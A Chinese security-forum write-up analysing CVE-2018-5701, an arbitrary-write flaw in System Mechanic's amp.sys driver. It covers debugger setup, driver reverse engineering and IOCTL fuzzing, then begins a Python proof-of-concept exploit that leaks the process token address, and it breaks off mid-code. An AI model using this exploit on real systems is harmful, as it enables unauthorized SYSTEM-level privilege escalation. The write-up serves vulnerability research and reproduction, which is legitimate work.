问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2018-5701 System Mechanic 内核提权漏洞分析
漏洞分析
System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题,该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。
漏洞信息 ==== System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题。凭借其专利的性能技术,System Mechanic可以修复包括错误、崩溃和冻结在内的问题,并恢复您的PC,使其达到最大的速度、功率和稳定性。它能提升系统速度,修复问题,清除垃圾和保护隐私,并弥补安全漏洞。其他功能包括Liveboost、Powersense、超性能模式、netbooster、Stability Guard、Activecare、PC Cleanup、内存机械师等。 该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。 官方链接:<https://www.iolo.com/products/system-mechanic/> ```php Exploit Title - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation Date - 29th January 2018 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.iolo.com/ Tested Version - 5.0.0.136 Driver Version - 5.4.11.1 - amp.sys Tested on OS - 64bit Windows 7 and Windows 10 (1709) CVE ID - CVE-2018-5701 Vendor fix url - Fixed Version - 0day Fixed driver ver - 0day ``` 软件下载 ==== amp.sys 及 SystemMechanicPro.exe 安装包: 链接:<https://pan.baidu.com/s/17oSlRZZwjxdt2881n8TNhA> 提取码:ff7k 测试环境 ==== 虚拟机:windows 10-10.0.18362 宿主机:win11 使用工具: 1. DeviceTree 2. WinObj 3. IOCTLpus x64 v2.4 4. IDA pro 8.3 双机调试环境搭建 ======== 虚拟机设置 ----- VMware设置: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716128546258-e9747882-9fb4-49fe-ad17-c81187ffec96.png) 接下来使用管理员权限运行下面bat脚本: ```php @echo off bcdedit /dbgsettings serial baudrate:115200 debugport:1 if %errorlevel% neq 0 ( echo 错误: 无法设置调试器设置。 goto End ) bcdedit /copy {current} /d "DebugMode" if %errorlevel% neq 0 ( echo 错误: 无法复制当前BCD条目。 goto End ) for /f "tokens=2 delims={}" %%i in ('bcdedit /copy {current} /d "DebugMode"') do set NEWGUID={%%i} if %errorlevel% neq 0 ( echo 错误: 无法获取新的GUID。 goto End ) bcdedit /displayorder {current} %NEWGUID% if %errorlevel% neq 0 ( echo 错误: 无法更新显示顺序。 goto End ) bcdedit /debug %NEWGUID% ON if %errorlevel% neq 0 ( echo 错误: 无法启用调试。 goto End ) echo 操作成功完成。 :End pause ``` 或者逐步运行: 进入 win10 虚拟机管理员权限打开cmd,运行: ```php bcdedit /dbgsettings serial baudrate:115200 debugport:1 ``` `/dbgsettings` 是 `bcdedit` 的一个选项,表示我们要设置 debug 的配置。接下来的 `serial baudrate:115200 debugport:1` 是`/dbgsettings` 的详细参数: - `serial` 表示我们选择使用串行端口进行调试。 - `baudrate:115200` 表示串行端口的波特率(即信号传输速率)设置为 115200。 - `debugport:1` 表示调试端口设置为 COM1。 复制一个开机选项,命名为DebugMode(可任意命名): ```php bcdedit /copy {current} /d DebugMode ``` 运行结果: ```php C:\Windows\system32>bcdedit /copy {current} /d DebugMode 已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。 ``` 增加一个开机引导项,注意这个ID要填写上一条命令生成的一串数字或字母: ```php bcdedit /displayorder {current} {ID} ``` 激活Debug模式: ```php bcdedit /debug {ID} ON ``` 完整操作: ```php Microsoft Windows [版本 10.0.18362.30] (c) 2019 Microsoft Corporation。保留所有权利。 C:\Windows\system32>bcdedit /dbgsettings serial baudrate:115200 debugport:1 操作成功完成。 C:\Windows\system32>bcdedit /copy {current} /d DebugMode 已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。 C:\Windows\system32>bcdedit /displayorder {current} {72c29121-c9be-11ee-8aa3-dec98b57ae79} 操作成功完成。 C:\Windows\system32>bcdedit /debug {72c29121-c9be-11ee-8aa3-dec98b57ae79} ON 操作成功完成。 ``` 接着重启虚拟机,选择DebugMode引导选项进入操作系统。(环境搭建起来后记得断网,否则会自动更新一些安全补丁影响调试) 如果端口号存在问题,删除虚拟机设置中的打印机设备。 物理机设置 ----- 创建windbg-x64的快捷方式,目标中设置为: ```php "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe" -b -k com:pipe,port=\\.\pipe\com_1,baud=115200,resets=0 -y SRV*D:\symbol*http://msdl.microsoft.com/download/symbols ``` 漏洞分析 ==== 漏洞触发 ---- 触发漏洞我们分为三个步骤: 1. 寻找IOCTL 2. 使用ioctlbf触发远程虚拟机中的BSOD 3. 使用windbg查看调试符号 在我们的案例中,目标应用程序是: `iolo – System Mechanic Pro v.15.5.0.61 (amp.sys)` 安装过程中,请使用未安装其他杀软并且可以科学上网的虚拟机中选择完全安装。 安装后,我们利用 WinObj 恢复设备名称和权限,如下所示: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716128846194-684e921b-aa9e-435e-adf8-6b32e4b30d1c.png) 由于我们现在已经收集了设备名称(`\Device\AMP`),现在是寻找对应IOCTL代码的时候了。为此,我们必须将驱动程序 (`amp.sys`) 加载到反汇编器中(我们使用了 IDA),如果缺少,则添加以下所需的结构: - `DRIVER_OBJECT` - `IRP` - `IO_STACK_LOCATION` 到达 `DriverEntry` 函数并环顾四周,很明显驱动程序比我们想象的要复杂一些,我看到下面的代码: ```php if ( (unsigned __int8)sub_23750() ) { sub_19EC0(RegistryPath); started = sub_2CFE0(DriverObject); if ( started >= 0 ) { started = FltRegisterFilter(DriverObject, &Registration, &Filter); if ( started >= 0 ) { started = FltStartFiltering(Filter); if ( started >= 0 ) { if ( (unsigned __int8)sub_28B60() ) sub_2CC70(5i64); else started = -1073741670; } } } } ``` 我们可以看到`started = sub_2CFE0(DriverObject)`,该函数引用了`DriverObject`,查看该函数实现细节: ```php __int64 __fastcall sub_2CFE0(struct _DRIVER_OBJECT *a1) { NTSTATUS v2; // [rsp+40h] [rbp-48h] struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-30h] BYREF struct _UNICODE_STRING SymbolicLinkName; // [rsp+68h] [rbp-20h] BYREF memset(&unk_36BA8, 0, 0x2Cui64); dword_36BAC = sub_2C670("5.4.11"); dword_36BB0 = sub_2C670("5.4.11"); dword_36BB4 = sub_2C670(" 4.7.3"); dword_36BB8 = 327742; dword_36BBC = 327689; dword_36BC0 = 0; RtlInitUnicodeString(&DestinationString, L"\\Device\\AMP"); v2 = IoCreateDevice(a1, 0x58u, &DestinationString, 0x22u, 0, 0, &DeviceObject); qword_36FD8 = (__int64)DeviceObject; if ( DeviceObject ) { RtlInitUnicodeString(&DestinationString, L"\\Device\\AMP"); RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\AMP"); v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); if ( v2 >= 0 ) { a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_2C8B0; a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_2C8B0; a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_2C580; a1->MajorFunction[15] = (PDRIVER_DISPATCH)sub_2CE80; qword_36FF8 = ExAllocatePool(NonPagedPool, 0x98ui64); if ( qword_36FF8 ) { *(_DWORD *)qword_36FF8 = 9; *((_QWORD *)qword_36FF8 + 1) = sub_2CBA0; *((_DWORD *)qword_36FF8 + 4) = 24; *((_QWORD *)qword_36FF8 + 3) = sub_2CB20; *((_DWORD *)qword_36FF8 + 8) = 16; *((_QWORD *)qword_36FF8 + 5) = sub_2C960; *((_DWORD *)qword_36FF8 + 12) = 40; *((_QWORD *)qword_36FF8 + 7) = sub_2C850; *((_DWORD *)qword_36FF8 + 16) = 8; *((_QWORD *)qword_36FF8 + 9) = sub_2C7F0; *((_DWORD *)qword_36FF8 + 20) = 8; *((_QWORD *)qword_36FF8 + 11) = sub_18D20; *((_DWORD *)qword_36FF8 + 24) = 32; *((_QWORD *)qword_36FF8 + 13) = sub_2C510; *((_DWORD *)qword_36FF8 + 28) = 0; *((_QWORD *)qword_36FF8 + 15) = sub_2C360; *((_DWORD *)qword_36FF8 + 32) = 32; *((_QWORD *)qword_36FF8 + 17) = sub_2C460; *((_DWORD *)qword_36FF8 + 36) = 8; v2 = sub_166A0(qword_36FF8); if ( v2 >= 0 ) v2 = 0; } else { v2 = -1073741670; } } } if ( v2 < 0 ) sub_2C280(); return (unsigned int)v2; } ``` 正如我们所看到的 `DeviceName` 被实例化和 `DriverObject` 被传递一样,我们非常有信心我们已经达到了正确的函数并继续反编译它。查看 `MajorFunction[14]` (偏移 `0x0e` 量) ,我们发现驱动程序`IRP_MJ_DEVICE_CONTROL`,如果存在一组系统定义的 I/O 控制代码 (IOCTL) ,驱动程序必须支持 (在 DispatchDeviceControl 例程中) 的请求。 双击 `SUB_2C580` 并反编译它(对应数组14),我们能够达到定义此驱动程序的 IOCTL 代码的点。接下来我们可以进一步解码IOCTL代码(`0x226003`),以深入了解内核用于访问随 IOCTL 请求传递的数据缓冲区的方法。使用[OSR 在线 IOCTL 解码器工具](https://www.osronline.com/article.cfm%5Earticle=229.htm),我们可以恢复以下信息: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716128959311-1f0b6a97-9bb9-4f95-b872-58ae62f29b64.png) `METHOD_NEITHER`:是最不安全的方法,可用于访问随 IOCTL 请求一起传递的数据缓冲区。使用此方法时,**I/O 管理器不会对用户数据执行任何类型的验证**,而只是将原始数据传递给驱动程序。 现在我们知道了 IOCTL 代码(`0x226003`)和DeviceName(`\\Device\\AMP`),我们可以继续对驱动程序进行fuzz并查找漏洞。 Ioctlbf 是专门用来fuzz ioctl的工具,语法非常容易理解,下载ioctlbf的可执行文件,然后运行: ```php ioctlbf.exe -d AMP -i 226003 -u -e ``` 参数的含义为: ```php -d Symbolic device name (without \\.\) 设置驱动设备 -i IOCTL code used as reference for scanning (see also -u) 设置IOCTL代码 -u Fuzz only the IOCTL specified with -i 只fuzz一个IOCTL -e Display error codes during IOCTL codes scanning 扫描期间显示错误日志 ``` 不出意外的话,你会看到BSOD: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716128709728-8db296fc-8f65-4858-90b8-fd226f4d6923.png) 此时windbg会发生断点: ```php Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. Opened \\.\pipe\com_1 Waiting to reconnect... KDTARGET: Refreshing KD connection Connected to Windows 10 18362 x64 target at (Mon Apr 8 18:28:49.016 2024 (UTC + 8:00)), ptr64 TRUE Kernel Debugger connection established. ************* Path validation summary ************** Response Time (ms) Location Deferred SRV*D:\symbol*http://msdl.microsoft.com/download/symbols Symbol search path is: SRV*D:\symbol*http://msdl.microsoft.com/download/symbols Executable search path is: Windows 10 Kernel Version 18362 MP (2 procs) Free x64 Product: WinNt, suite: TerminalServer SingleUserTS Edition build lab: 18362.1.amd64fre.19h1_release.190318-1202 Machine Name: Kernel base = 0xfffff804`1b800000 PsLoadedModuleList = 0xfffff804`1bc43290 Debug session time: Mon Apr 8 18:28:48.384 2024 (UTC + 8:00) System Uptime: 0 days 0:00:07.954 nt!DebugService2+0x5: fffff804`1b9c45d5 cc int 3 0: kd> g Access violation - code c0000005 (!!! second chance !!!) amp+0x6c8d: fffff804`23a06c8d 488b0e mov rcx,qword ptr [rsi] ``` 打印详细信息: ```php 0: kd> !analyze -v PROCESS_NAME: ioctlbf.EXE READ_ADDRESS: 0000000000000000 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE_STR: c0000005 EXCEPTION_PARAMETER1: 0000000000000000 EXCEPTION_PARAMETER2: 0000000000000000 STACK_TEXT: fffff680`bbc6f6e0 ffff8281`28106510 : ffff8281`27379080 00000000`00000000 00000000`00000000 00000000`00000001 : amp+0x6c8d fffff680`bbc6f6e8 ffff8281`27379080 : 00000000`00000000 00000000`00000000 00000000`00000001 00000000`00000001 : 0xffff8281`28106510 fffff680`bbc6f6f0 00000000`00000000 : 00000000`00000000 00000000`00000001 00000000`00000001 ffff8281`20d608d0 : 0xffff8281`27379080 SYMBOL_NAME: amp+6c8d MODULE_NAME: amp IMAGE_NAME: amp.sys STACK_COMMAND: .cxr; .ecxr ; kb BUCKET_ID_FUNC_OFFSET: 6c8d FAILURE_BUCKET_ID: ACCESS_VIOLATION_amp!unknown_function OS_VERSION: 10.0.18362.1 BUILDLAB_STR: 19h1_release OSPLATFORM_TYPE: x64 OSNAME: Windows 10 FAILURE_ID_HASH: {9d982166-878b-aa13-3034-b3099cea282a} Followup: MachineOwner --------- ``` 可以看到一个看起来很像空指针解引用(null pointer dereference)的错误,可以判断出该驱动的Ioctl是存在问题的,需要进一步分析 分析 SUB\_2C580 调度例程 ------------------ `sub_2C580`函数是设备驱动程序中的一个调度例程,即当用户向设备发送`DeviceIoControl`API调用请求时,Windows操作系统会自动调用这个函数进行处理。使用 IDA Pro 我们可以看到这个函数有2个参数: 1. 第一个参数(a1)是指向`DeviceObject`的指针,`DeviceObject`是代表设备驱动程序内部状态的核心数据结构。 2. 第二个参数(a2)是指向IRP数据结构的指针,IRP包含了用户通过`DeviceIoControl`API发送过来的所有请求信息。 `sub_2C580`函数通过`IRP`获取到了当前的`IO_STACK_LOCATION`,这是一个包含了许多关键信息的数据结构,包括了用户通过`DeviceIoControl`发送过来的内存缓冲区。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129113255-5aa01144-3f5f-4da1-86dd-944ae3ae38f9.png) 在代码第11行,比较用户发送的IOCTL代码(保存在`Parameters.Read.ByteOffset.LowPart`成员变量中)和驱动程序中硬编码的值`0x226003`。 如果它们相等,说明这是一个特定的请求操作,然后驱动程序会调用相应的处理函数`sub_166D0`。 如果不相等,v6被设置为`-1073741808(0xC0000010)`,这是一个错误代码,表示请求不成功。 然后,将v6的值设置为`a2->IoStatus.Status`并通过`IofCompleteRequest`返回给用户态。这个v6的值就是驱动返回给用户态的结果。 如果处理成功,v6里面就是成功的结果;如果出错,它就是错误代码。 当然,我们需要分析成功时触发`sub_166D0`的逻辑,这个函数被`sub_2C580`调用时传入了三个参数: ```php v6 = sub_166D0(v3, Parameters, Options); ``` 1. `v3` 是 IoIs32BitProcess函数的返回值。它是一个简单的布尔值,用于指示调用进程是32位(`TRUE`) 还是64位 (`FALSE`)。 2. `Parameters`是指向存储创建命名管道参数的用户空间缓冲区的指针。此地址正是作为参数传递给 API 的 `DeviceIoControl` 缓冲区地址。 3. `Options`是上述缓冲区的大小。 分析 SUB\_166D0 处理函数 ------------------ 首先查看调用流程,`Xrefs to SUB_166D0`: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129121635-459ccb02-4155-4c17-8c44-12a75b44b2a3.png) `Xrefs from SUB_166D0`: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129127641-9364a59a-f546-48f5-aeb1-ee43e170c6b3.png) 在用户发送的IOCTL代码等于驱动驱动程序中硬编码的值`0x226003`时,会调用SUB\_166D0函数,我们分析一下这个函数的运行流程。具体伪代码如下: ```php __int64 __fastcall sub_166D0(char a1, unsigned int *a2, unsigned int a3) { unsigned int v4; // eax __int64 v5; // r8 __int64 v6; // rbx __int64 v8; // [rsp+20h] [rbp-28h] BYREF __int64 v9; // [rsp+28h] [rbp-20h] __int64 v10; // [rsp+30h] [rbp-18h] __int64 *v11; // [rsp+38h] [rbp-10h] __int64 v12; // [rsp+68h] [rbp+20h] BYREF if ( a1 ) { if ( a3 >= 0xC ) { v4 = *a2; v5 = (int)a2[1]; v6 = (int)a2[2]; goto LABEL_6; } return 0xC0000023i64; } if ( a3 < 0x18 ) return 0xC0000023i64; v8 = *(_QWORD *)a2; v9 = *((_QWORD *)a2 + 1); v10 = *((_QWORD *)a2 + 2); v6 = v10; v5 = v9; v4 = v8; LABEL_6: if ( !qword_38B28 ) return 0xC0000001i64; if ( v4 >= *(_DWORD *)qword_38B28 ) return 0xC000000Di64; v9 = v5; v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8); LODWORD(v10) = *(_DWORD *)(qword_38B28 + 16i64 * v4 + 16); v11 = &v12; sub_16C40((__int64)&v8); if ( a1 ) *(_DWORD *)v6 = v12; else *(_QWORD *)v6 = v12; return 0i64; } ``` 由于此函数比前一个函数稍微复杂一些,因此我们首先分析了各种返回值,以了解代码流和对输入施加的约束。 我们有 5 个 return 语句,每个语句都有一个状态代码。让我们将它们转换为十六进制并在此处列出它们: 1. `return 0xC0000023 == STATUS_BUFFER_TOO_SMALL` 2. `return 0xC0000023 == STATUS_BUFFER_TOO_SMALL` 3. `return 0xC0000001 == STATUS_UNSUCCESSFUL` 4. `return 0xC000000D == STATUS_INVALID_PARAMETER` 5. `return 0x0 == STATUS_SUCCESS` 每个返回的状态码对应的信息是从[MSDN](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55)上面找到的。 这个`sub_166D0`函数接受三个参数,我们分析一下每个参数对应的含义: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129141229-ab46d1b5-5b6d-4418-9c26-131d030e3930.png) `a1`,类型为`char`,在函数中用作判断是否是32位或者64位的bool值。 `a2`,类型为`unsigned int`的指针,指向用户态传过来的buffer。 `a3`,类型为`unsigned int`,是用户态传过来的buffer的大小。 这与我们对引用这个函数时传入的参数的判断是正确的。 正如我们之前所说,`a1`是调用方传递给函数的第一个参数,是`IoIs32BitProcess`的返回值,而`a3`是缓冲区大小。因此,我们可以看到: 1. 如果调用过程为32位,则缓冲区大小必须等于或大于12字节(`0xC`)。 2. 相反,如果进程是64位,则它必须等于或大于24字节(`0x18`)。 在这两种情况下,如果缓冲区大小的长度合适,则代码将跳转到`LABEL_6`。在64位情况下,通过将buffer划分为3个8字节长的值来创建更多局部变量。 ```php v8 = *(_QWORD *)a2; v9 = *((_QWORD *)a2 + 1); v10 = *((_QWORD *)a2 + 2); ``` 这三行代码的含义是将传入函数的参数`a2`看作是一个指向64位(或者8字节)整数的指针,并将该指针指向的前三个64位整数的值赋给本地变量`v8`,`v9`和`v10`。 具体来说: - `v8 = *(_QWORD *)a2;`:将`a2`转化为一个指向64位整数的指针,并将其所指向的值赋给`v8`。 - `v9 = *((_QWORD *)a2 + 1);`:将`a2`转化为一个指向64位整数的指针,向前移动一位,然后将其所指向的值赋给`v9`。 - `v10 = *((_QWORD *)a2 + 2);`:将`a2`转化为一个指向64位整数的指针,向前移动两位,然后将其所指向的值赋给`v10`。 向前移动就是指向更高的地址移动,而向后移动就表示向更低的地址移动 然后将`qword_38B28 + 16*v4 + 8`的值赋给`v8`,`qword_38B28 + 16*v4 + 16`的值赋给`v10`。然后,调用函数`sub_16C40(&v8)`。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129155043-5513d7e8-6479-4ac8-a3bf-270f565bde9d.png) `qword_38B28`定义为在运行时填充的地址,其中包含32位值 `0x00000009` 。下面我们通过使用 WinDbg 在此函数上放置断点并使用我们之前找到的 IOCTL 代码调用 `DeviceIoControl` API 来理解这一点。为了能够发送任意 IOCTL 请求,我们利用了一个开源软件:IOCTLpus,这个软件可以将其视为可用于通过任意输入发出 `DeviceIoControl` 请求的工具。 使用 IOCTLpus 执行任意 `DeviceIoControl` 请求,逐渐更改 `UserBuffer` 值,我们发现该漏洞不是空指针解引用。将所有缓冲区的值设置为 0 是一种奇怪的 ioctlbf 行为,使漏洞看起来像是空指针取消引用,而不是实际的任意写入。 Tips: `lm vm amp`:"`lm vm amp`" 命令的目的是查找并显示amp驱动的基址,然后可以在 IDA Pro 中进行重定位,这样就可以在 IDA Pro 和 Windbg 之间使用统一的地址进行切换。 ```php 1: kd> lm vm amp Browse full module list start end module name fffff802`42400000 fffff802`4242e000 amp (deferred) Image path: amp.sys Image name: amp.sys Browse all global symbols functions data Timestamp: Wed Mar 26 03:59:30 2014 (5331E022) CheckSum: 0003819E ImageSize: 0002E000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 Information from resource tables: Unable to enumerate user-mode unloaded modules, Win32 error 0n30 ``` 1. "`fffff802-42400000 fffff802-4242e000`":这是amp模块在内存中的起始地址和结束地址,从这可以知道这个模块在内存中的位置和大小。 接下来,可以将 "amp" 模块的基地址(也就是 `fffff802 42400000`)复制到 IDA Pro 中,通过 "Edit" -> "Segments" -> "Rebase Program" 来设置正在分析的文件的基地址。这样在IDA Pro与Windbg之间就可以保持一致。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129169594-5a72e61b-c925-4d89-8014-db8826855c01.png) 运行ioctrl,设置Path为`\\.\AMP`,设置IOCTL Code为`0x226003`,设置发送数据为25字节(根据前文判断x64需要大于等于24字节)运行发送,如果不符合要求的话就会报错(注意使用自己编译版本的ioctlplus,官网的存在问题,并且Input size莫名其妙被遮挡了,自己编译也没有解决,但是并不影响使用): ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129203160-f4155ee3-0827-4c1c-bef5-5d682e8d176e.png) 发送25字节后,系统中断: ```php 0: kd> g Access violation - code c0000005 (!!! second chance !!!) fffff802`42406c8d 488b0e mov rcx,qword ptr [rsi] ``` 我们去IDA中查找对应的指令: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129213806-fd32b347-b33a-45ef-b5bd-6c521ac83fee.png) 访问冲突发生在指令`16C8D` , `mov rcx, [rsi]`处。 查看 `mov rcx, [rsi]` 指令并追溯 `rsi` 分配和用法使我们发现`rsi`的值来自`rcx`寄存器: (注意下文的地址前缀为`0x000000000001`,`0x0000000000016C47`对应`FFFFF80242406C47`) ```php .text:0000000000016C47 mov rbx, rcx .text:0000000000016C89 mov rsi, [rbx+8] .text:0000000000016C8D mov rcx, [rsi] ``` ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129222512-fd8e0c5a-3cae-41dd-b9e2-878e31829f1c.png) 在x86\_64架构的Windows系统(必须是64位系统)的fastcall调用约定:前四个整数或者指针类型的函数参数将会分别传递给RCX,RDX,R8和R9寄存器。如果函数的参数数量超过4个,那么第五个以及之后的参数将会通过栈传递。 可以看到我们当前断点是发生在sub\_16C40函数中的,在sub\_166D的代码逻辑进入label\_6后执行的函数为`sub_16C40`,具体的传入参数为`sub_16C40(&v8)`。 在操作过程中,ioctlbf有一个奇异的行为,它会将整个用户缓冲区设置为0。这导致第1个用户缓冲区全部包含0,会被用来计算变量v8的值(通过这个公式:`v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8)`)。然后,在执行`mov rcx, [rsi]`指令时,rsi是一个被解引用的非法内存位置的指针。 ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129230232-1556bf92-0169-4797-98ac-42c867aad1d1.png) 我们在sub\_16C40的内部可以看到还有一个call指令: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1716129236076-96532bab-c1a0-4ced-ac65-a8a5a77fee38.png) 我们先看这部分代码: ```php **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)( **(_QWORD **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64)); ``` `(*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)`: 这部分代码将内存地址`a1`作为一个函数指针对待。这个函数接受四个QWORD(64位整数)作为参数,并返回一个`__int64`类型的值。 然后,这个函数被调用,并传递四个参数给它: - 第一个参数 `**(_QWORD **)(a1 + 8)`,取`a1 + 8`这个地址的值,然后再对得到的值进行解引用,得到第一个参数。 - 接下来的三个参数类似,都是取`a1 + 8`这个地址的值,并加上一个偏移值(8,16,24),然后解引用得到。 最后,函数的返回值被存储在`**(_QWORD **)(a1 + 24)`的位置。这是一个二级指针,将函数的返回值存储在这个二级指针指向的具体位置。 这个看起来还是比较复杂的,但是如果我们直接从汇编的角度看(就像分析上面的空指针解引用),我们只需要控制下面这部分就可以了: ```php .text:FFFFF80242406C9C call qword ptr [rbx] ``` 其中rbx由下面显示的靠近它的指令来传递: ```php .text:FFFFF80242406C47 mov rbx, rcx ``` 分析 sub\_16C40 函数 ---------------- 可以看到进入label\_6后执行的函数为`sub_16C40`,具体的传入参数为`sub_16C40(&v8)`: ```php void __fastcall sub_16C40(__int64 a1) { unsigned __int64 v2; // rcx __int64 v3; // rax void *v4; // rsp char vars20; // [rsp+20h] [rbp+20h] BYREF v2 = *(unsigned int *)(a1 + 16); v3 = v2; if ( v2 < 0x20 ) { v2 = 40i64; v3 = 32i64; } v4 = alloca(v2); if ( v3 - 32 > 0 ) qmemcpy(&vars20, (const void *)(*(_QWORD *)(a1 + 8) + 32i64), v3 - 32); **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)( **(_QWORD **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64), *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64)); } ``` 这个函数 `sub_16C40` 第一次从参数 `a1` 结构指定的位置读取一个 `unsigned int`,并存放到两个变量 `v2` 和 `v3` 中,如果这个值小于32,则两个变量被设置为40和32。 然后函数分配一块大小为 `v2` 的内存,其地址存储在`v4`中。然后,如果 `v3` 大于32,那么函数从 `a1 + 8` 的值加32的位置复制 `v3 - 32` 个字节到 `vars20`。变量 `vars20` 的值,从`a1 + 8` 的位置读取一个 `QWORD` 然后加上32,然后从这个位置开始,复制 `v3 - 32` 个字节。 最后,函数假设在 `a1` 的位置有一个函数指针,这个函数接收4个 `QWORD` 参数,并将其返回值保存在 `**(_QWORD **)(a1 + 24)`。这四个参数分别是从 `**(_QWORD **)(a1 + 8)`、`*(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64)`、`*(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64)`、`*(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64)` 这些位置获取的。 简单来说,这个函数是让你传入一个结构体,然后根据这个结构体的内容执行一些操作,包括复制内存和调用某个函数,并将结果存回结构体的的位置。具体的功能取决于传入结构体的内容。 构造poc ----- 现在我们已经知道了具体的原理,下面可以进行poc的构造了,这里直接使用python(我发现python构造poc真的很简单,虽然不能投入实战但是可以快速复现),在<https://www.exploit-db.com/exploits/43929>上是使用的C进行实现的,感兴趣的可以使用这个版本。 下面是python poc的构造: 首先指定驱动名称AMP,指定了NtQuerySystemInformation和OpenProcessToken函数的参数类型和返回值类型: ```php NTSTATUS = DWORD PHANDLE = POINTER(HANDLE) PVOID = LPVOID = ULONG_PTR = c_void_p UINT32 = c_uint32 DEVICE_NAME = "\\\\.\\AMP" ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)] ntdll.NtQuerySystemInformation.restype = NTSTATUS OpenProcessToken.argtypes = [HANDLE, DWORD , PHANDLE] OpenProcessToken.restype = BOOL ``` 然后定义数据结构: ```php class WriteWhatWhere(Structure): # Misleading, we can only write 0xfffffffe in the address of "Where" _fields_ = [ ("Header", UINT32), ("Trigger", PVOID), ("Where", PVOID) ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] ``` WriteWhatWhere:用于构造漏洞利用的数据结构,包含三个字段:Header,Trigger和Where。 SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO\_EX:表示系统句柄表中的条目信息。 SYSTEM\_HANDLE\_INFORMATION\_EX:表示系统句柄信息,包含句柄数量和句柄表条目信息。 `get_token_by(target_pid, data, _filter=None)`遍历系统句柄信息,寻找与给定进程ID (target\_pid) 匹配的令牌句柄: ```php def get_token_by(target_pid, data, _filter=None): header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX)) print('[+] Searching access token address') data = bytearray(data[16:]) current_entry = 0 address = None while current_entry < header[0].NumberOfHandles: address, pid, handle = struct.unpack('<QQQ', data[:24]) data = data[40:] current_entry += 1 if pid != target_pid: continue if _filter and handle != _filter.value: continue break # Found return address ``` `get_token_address()`获取当前进程的令牌句柄地址。它首先打开当前进程的令牌句柄,然后通过调用`NtQuerySystemInformation`查询所有系统句柄,最后调用`get_token_by`来获取与当前进程令牌匹配的句柄地址: ```php def get_token_address(): status_info_length_mismatch = 0xC0000004 token_query = 8 current_process_handle = HANDLE(kernel32.GetCurrentProcess()) pid = kernel32.GetCurrentProcessId() print('[+] Current Process PID: ' + str(pid)) p_handle = HANDLE() if OpenProcessToken(current_process_handle, token_query, byref(p_handle)) == 0: print('[-] Error getting token handle: ' + str(kernel32.GetLastError())) sys.exit(1) print('[+] Found token handle at: {:08x}'.format(p_handle.value)) nt_status = status_info_length_mismatch return_length = DWORD(0) system_information_length = 0 handle_info = (c_ubyte * system_information_length)() while nt_status == status_info_length_mismatch: system_information_length += 0x1000 handle_info = (c_ubyte * system_information_length)() nt_status = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(handle_info), system_information_length, 